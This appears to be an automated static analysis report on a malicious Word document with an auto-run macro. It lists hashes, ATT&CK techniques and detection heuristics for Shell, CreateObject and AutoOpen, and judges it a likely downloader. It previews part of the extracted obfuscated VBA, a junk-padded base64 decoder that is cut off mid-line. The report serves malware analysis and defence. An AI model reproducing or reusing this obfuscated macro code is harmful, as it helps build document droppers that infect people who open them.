Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 477fe1bbafb90966…

MALICIOUS

Office (OLE)

462.5 KB Created: 2018-11-16 00:42:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: bbc7d191f95d2e90bbd131cdce4baed0 SHA-1: ef9a5e07da9c00ab40c211e81de9aef10becda09 SHA-256: 477fe1bbafb90966b742eba033a42cf742c81d09514ce7bd5269e8ab7b0042f2
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes CreateObject and Shell calls, indicating an intent to run external commands or download additional payloads. The presence of obfuscated VBA code and a high heuristic score for shell execution suggests a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58199 bytes
SHA-256: acb97b0d83823c4064080a2f8b32db1f7af98b1462878e1ff6e6e7abe10aa05e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xBZPTkImHBmexleT"
Public Function KIWmyKtWNJBCn(LwxwdqaDNRqRFDfqpIa As String, Optional BaEFYHyejOeZ As Boolean = True) As String
Static lRUaageyHeQe(0 To 255) As Byte
Dim jpnllkxWBaGEsJu, hQmCdRalVBp As Integer
jpnllkxWBaGEsJu = 4
hQmCdRalVBp = 28
While jpnllkxWBaGEsJu < hQmCdRalVBp
hQmCdRalVBp = hQmCdRalVBp - jpnllkxWBaGEsJu
Wend
Dim nWSBVOrZymqplvj() As Byte, ZwzIByMTnujshAABK() As Byte
Dim PjLdCXxPzarTIvnEiF As Integer
For lkOkfmzdxzXCqWpsO = 0 To 2
PjLdCXxPzarTIvnEiF = PjLdCXxPzarTIvnEiF + lkOkfmzdxzXCqWpsO
Next lkOkfmzdxzXCqWpsO
Dim kJQJZTFJuJXGDrIX As Long, mNrHKOKiSsAylY As Long
Dim PYGzqpofhinpwDsGeIp As Integer
For LIMaAFIMXVgomGj = 0 To 8
PYGzqpofhinpwDsGeIp = PYGzqpofhinpwDsGeIp + LIMaAFIMXVgomGj
Next LIMaAFIMXVgomGj
If lRUaageyHeQe(0) = 0 Then
Dim AFSHYVcYXvuTQiqmrQo As Integer
AFSHYVcYXvuTQiqmrQo = 2 * 6
For kJQJZTFJuJXGDrIX = 0 To 255
Dim yvvVOzbmEaOpWHfizi As Integer
yvvVOzbmEaOpWHfizi = 4 * 4
lRUaageyHeQe(kJQJZTFJuJXGDrIX) = 255
VLKWFWXThexUhv = Array("kayjIoqhMZjL""fkpFETYcubKjHRP""vpcquUXHDAnovXhnRW""fLrBMWQYCReLy""UDJfiiGeLFId""wncJFMIWNnhO""QTzsCyqWyTC")
Next kJQJZTFJuJXGDrIX
Dim IiBvxQIxfWncbz As Integer
IiBvxQIxfWncbz = 7 * 4
For kJQJZTFJuJXGDrIX = 0 To 25
Dim macRiDGjQGoNDWuRzZE As Integer
macRiDGjQGoNDWuRzZE = 5 - 1 * 7
lRUaageyHeQe(kJQJZTFJuJXGDrIX + 65) = kJQJZTFJuJXGDrIX
Next kJQJZTFJuJXGDrIX
Dim ZNGUoOdUmtIWwZF, gKgFMrnBGwOkeRM As Integer
ZNGUoOdUmtIWwZF = 6
gKgFMrnBGwOkeRM = 88
While ZNGUoOdUmtIWwZF < gKgFMrnBGwOkeRM
gKgFMrnBGwOkeRM = gKgFMrnBGwOkeRM - ZNGUoOdUmtIWwZF
Wend
For kJQJZTFJuJXGDrIX = 26 To 51
lRUaageyHeQe(kJQJZTFJuJXGDrIX + 71) = kJQJZTFJuJXGDrIX
Dim xbMmqUADVWGhWIZfd As Integer
xbMmqUADVWGhWIZfd = 5 - 8 * 1
Next kJQJZTFJuJXGDrIX
Dim qeUOaTEPJxejznRGXV As Integer
qeUOaTEPJxejznRGXV = 1 * 7
For kJQJZTFJuJXGDrIX = 52 To 61
FdcDkiHeGfRiUpY = Array("IooGQAfUKRHpDTeczmm""xPHOPtOeBBUuN""cvtSVvxrQurorYbDDhM""GGCDIMtQyWMRIxGF""NPVIOvnNEWGHCkz""YxPgbfqSgrBKB""xMvomCyeOozijnCdVb""ErKtxSExyVyqcHHaIY")
lRUaageyHeQe(kJQJZTFJuJXGDrIX - 4) = kJQJZTFJuJXGDrIX
Dim OPaEEGfkCHaWdFkRjFf, rLKmhgkIMFvnQfi As Integer
OPaEEGfkCHaWdFkRjFf = 5
rLKmhgkIMFvnQfi = 15
While OPaEEGfkCHaWdFkRjFf < rLKmhgkIMFvnQfi
rLKmhgkIMFvnQfi = rLKmhgkIMFvnQfi - OPaEEGfkCHaWdFkRjFf
Wend
Next kJQJZTFJuJXGDrIX
Dim exeHaSiyIebhWTumy As Integer
exeHaSiyIebhWTumy = 1 * 3
lRUaageyHeQe(43) = 62
Dim SmogiAhsyXTdEJTbdZA, LTUXHoAgHthXdNoZ As Integer
SmogiAhsyXTdEJTbdZA = 3
LTUXHoAgHthXdNoZ = 63
While SmogiAhsyXTdEJTbdZA < LTUXHoAgHthXdNoZ
LTUXHoAgHthXdNoZ = LTUXHoAgHthXdNoZ - SmogiAhsyXTdEJTbdZA
Wend
lRUaageyHeQe(47) = 63
Dim EDVowUpkEGVAGtAHjiy As Integer
For vYeddZNvLeX = 0 To 4
EDVowUpkEGVAGtAHjiy = EDVowUpkEGVAGtAHjiy + vYeddZNvLeX
Next vYeddZNvLeX
End If
Dim kqDDygORZoIbflRZHp As Integer
For GVJyZmlXQqIQuTjth = 0 To 9
kqDDygORZoIbflRZHp = kqDDygORZoIbflRZHp + GVJyZmlXQqIQuTjth
Next GVJyZmlXQqIQuTjth
If LwxwdqaDNRqRFDfqpIa = "" Then Exit Function
zSAQhAdKWhRuxeG = Array("FjUcLvjPveReSoz""cFHHPbBWiKE""MzunYHttItdKbBo""FfahycdrQNNDD""eEMKJqvmdbnYOHD""jDjAbhIJlwg""JwMzZmspMzSoEdBhc")
LwxwdqaDNRqRFDfqpIa = Trim(LwxwdqaDNRqRFDfqpIa)
Dim MKXERLXEHcIqoE As Integer
MKXERLXEHcIqoE = 3
Dim UCFTvSOieAUOlp As Integer
UCFTvSOieAUOlp = 4 - 6 * 3
If MKXERLXEHcIqoE < Len(Application.UserName) Then
Dim cRAkhJbhQTJpFZlQuE As Variant
End If
If BaEFYHyejOeZ Then
Dim sdIYcOrjyPRAubRN As Integer
sdIYcOrjyPRAubRN = 2 * 3
For kJQJZTFJuJXGDrIX = 0 To 255
Dim LyyVajvEYSMNLsMQj As Integer
For MRTEkLEFsoCXuLWbwET = 0 To 5
LyyVajvEYSMNLsMQj = LyyVajvEYSMNLsMQj + MRTEkLEFsoCXuLWbwET
Next MRTEkLEFsoCXuLWbwET
If Not (Chr(kJQJZTFJuJXGDrIX) Like "[A-Za-z0-9+/=]") Then
Dim XKUHxLiGoMFF As Integer
XKUHxLiGoMFF = 5 * 9
LwxwdqaDNRqRFDfqpIa = Replace(LwxwdqaDNRqRFDfqpIa, 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.